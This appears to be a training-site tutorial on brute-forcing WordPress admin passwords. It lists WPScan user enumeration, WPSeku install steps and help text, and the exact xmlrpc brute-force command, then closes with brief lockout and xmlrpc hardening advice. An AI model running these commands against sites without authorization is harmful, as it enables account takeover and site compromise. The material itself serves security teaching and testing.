In this article, you will learn how to compromise WordPress login credentials using brute-force attacks.
A brute-force attack is an attempt to find a password by trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works. If your site requires user authentication, you are a good target for a brute-force attack.
A successful brute force attack can give hackers access to your website’s admin area. They can install malicious files, steal user information, and delete everything on your site. That being said, let’s get started.
Enumerate Users
First, you need to find users from the WordPress site using a tool called WPscan. If you are using Kali Linux, WPScan should be installed by default on your system. Use the command below.
wpscan --url http://yourwebsite.com --enumerate u
Here, you can see the user “admin” was found. If an attacker already knows what the username is, all they are left with is to brute force the password.
Install WPSeku
To brute force the login password I will use a tool called “WPSeku”. To install and run WPSeku use the following commands.
$ git clone https://github.com/m4ll0k/WPSeku.git wpseku
$ cd wpseku
$ pip3 install -r requirements.txt
$ python3 wpseku.py
Once done with that, you can type “python3 wpseku.py --help” in the terminal to see all the options.
WPSeku - Wordpress Security Scanner
by Momo Outaadi (m4ll0k)
----------------------------------------
Usage: wpseku.py [options]
-u --url Target URL (e.g: http://site.com)
-b --brute Bruteforce login via xmlrpc
-U --user Set username for bruteforce, default "admin"
-s --scan Checking wordpress plugin code
-p --proxy Use a proxy, (host:port)
-c --cookie Set HTTP Cookie header value
-a --agent Set HTTP User-agent header value
-r --ragent Use random User-agent header value
-R --redirect Set redirect target URL False
-t --timeout Seconds to wait before timeout connection
-w --wordlist Set wordlist, default "db/wordlist.txt"
-v --verbose Print more informations
-h --help Show this help and exit
Example:
- wpseku.py --url http://site.com/
- wpseku.py --url http://site.com --brute --user john
- wpseku.py --url http://site.com/ --brute --user admin --wordlist wordlist.txt
Bruteforce the Login Password
To start the cracking process, use the following command.
python3 wpseku.py --url http://yourwebsite.com --brute --user admin
The command is using the default wordlist file located in “db/wordlist.txt”. You can add a different word list in this location. A word list is a list of commonly used passwords (random characters, words, numbers, etc) in a text file.
And you can see the username “admin” and the password “12345678”. At this point, you can login the WordPress dashboard and install/delete plugins, add users, create posts, and so on. Basically you have full control on the website.
Conclusion
The most obvious way to block brute-force attacks is to simply lock out accounts after a defined number of incorrect password attempts.
Account lockouts can last a specific duration.Also, disable XLM-RPC file on your WordPress website. Malicious visitors could use the xmlrpc.php file for brute force attacks that might allow them access to your website.
A single command can be effectively used to test hundreds of different passwords as shown in this article. Usually, the primary user that would be exploited is the administrator with the username “admin”.
Tags: cybersecurity training, network security courses, ethical hacking tutorials, web penetration testing, linux security training, online cybersecurity classes, wireless network security, learn ethical hacking online, linux for cybersecurity professionals.